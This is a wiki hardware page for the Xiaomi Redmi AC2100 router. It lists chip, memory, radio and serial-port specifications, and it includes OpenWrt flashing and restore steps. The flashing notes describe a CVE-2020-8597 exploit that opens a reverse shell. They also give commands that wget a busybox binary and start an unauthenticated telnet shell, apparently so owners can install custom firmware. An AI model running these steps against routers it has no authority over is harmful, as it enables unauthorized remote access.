Xiaomi Mi Router Redmi AC2100 (RM2100)

From TechInfoDepot
Jump to navigationJump to search
multiple revisions of this device, use caution
abgn+ac (AC2100)
AC2100 Wireless Router
Homepage Product page
WikiDevi.wi-cat.ru Xiaomi Mi Router Redmi AC2100 (RM2100)
3rd Party Firmware
dd-wrt Status Unknown
OpenWrt Supported
Tomato any flavor Incompatible
Gargoyle Status Unknown
Platform
Brand • Model • Rev Xiaomi Mi Router Redmi AC2100
Model Part Number RM2100
FCC ID none specified
Board ID M63-R0103
Type wireless router
CPU1 checkY MediaTek MT7621AT
CPU1 Type MIPS 1004Kc
CPU1 Speed 880 MHz ( 2 cores ) 16-bit
Flash1 Chip ESMT F59L1G81MB-25T
Flash1 Size 128 MiB 134,217,728 B <br />1,048,576 Kib <br />131,072 KiB <br />1,024 Mib <br />0.125 GiB <br />
RAM1 Size 128 MiB 134,217,728 B <br />1,048,576 Kib <br />131,072 KiB <br />1,024 Mib <br />0.125 GiB <br />
RAM1 Chip ESMT M15T1G1664A-DEB
ETH chip1 MediaTek MT7621AT
Switch MediaTek MT7621AT
Ethernet Port Count 1-1GbE-WAN
3-1GbE-LAN
Wired Standard IEEE 802.3i/3u/3ab

802dot11 OUI: 34:CE:00 (1 E, 1 W)
Ethernet OUI: 34:CE:00 (1 E, 1 W)

Stock bootloader U-Boot
Stock FW OS Linux 3.10.14
Expansion IF types none specified
Power 12 VDC, 1.5 A
Connector type barrel
Serial Port (UART) yes, 4-pad header, J1, 3.3V TTL, (115200 8N1)
JTAG Port no

Additional chips
2.4GHz FEM;Qualcomm;QPF4200;;2;

Other

Default SSID: Redmi_XXXX
, Redmi_XXXX_5G
Default IP address: 192.168.31.1
the IP 192.168.31.1 is used by 20 additional devices
of which 19 are Xiaomi devices

3rd Party Firmware Support OpenWrt • (List | Dev | DLs)
Retail
(Est.) release date 14 November 2019
Country of manuf China
Radio 1
Chip1 MediaTek MT7603EN
Wireless interface OUI 34:CE:00
Antenna Connector Type none specified
MIMO status 2x2:2
Wireless Standard IEEE 802.11b/g/n
802.11n up to 300 Mbps
802.11g up to 54 Mbps
802.11b up to 11 Mbps
WiFi Operating Frequency 2.4 GHz
Radio 2
Chip1 MediaTek MT7615N
Wireless interface OUI 34:CE:00
Antenna Connector Type none specified
MIMO status 4x4:4
Wireless Standard IEEE 802.11a/n/ac
802.11ac up to 1733 Mbps
802.11n up to 600 Mbps
802.11a up to 54 Mbps
WiFi Operating Frequency 5 GHz
 CPU1 brandRadio1 chip1 brandRadio2 chip1 brand
Xiaomi Mi Router Redmi AC2100 (RM2100)MediaTekMediaTekMediaTek
Xiaomi Mi Router Redmi AX5 (AX1800)QualcommQualcommQualcomm
Xiaomi Mi Router Redmi AX6 (AX3000)QualcommQualcommQualcomm
Xiaomi Mi Router Redmi AX6E (AX6000)MediaTekMediaTekMediaTek
Xiaomi Mi Router Redmi AX6S (AX3200)MediaTekMediaTekMediaTek

For a list of all currently documented MediaTek chipsets with specifications, see MediaTek.

For a list of all currently documented Xiaomi devices with specifications, see Xiaomi.

• 300 Mbps - 2SS 2.4GHz 802.11n (40MHz chan.),
• 1733 Mbps - 4SS 5GHz 802.11ac (80MHz chan.) = AC2100 class

Overview

See also: List of Xiaomi Wireless Devices

Links of Interest

Reviews

Flashing

Flashing OpenWrt

Target: ramips
Subtarget: mt7621
Package architecture: mipsel_24kc
Support started version: 21.02.0
Current supported version: 25.12.2
LAN Hardware: MediaTek MT7530
LAN Comment: 3x LAN 1x WAN
WLAN Hardware: MediaTek MT7603EN, MediaTek MT7615N
WLAN Comment: 2 spatial stream 11n, 4 spatial stream w/ MIMO on 11ac
Installation method(s):
see devicepage
Recovery method(s):
see devicepage
git • >> 
ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)
Specification:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot

Installation:

1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0

Restore to stock:

1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white

Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.

Exploit and detailed instructions:

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

An implementation of CVE-2020-8597 against stock firmware version 1.0.14

This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.

As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.

The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh
Retrieved from "https://techinfodepot.shoutwiki.com/w/index.php?title=Xiaomi_Mi_Router_Redmi_AC2100_(RM2100)&oldid=519615"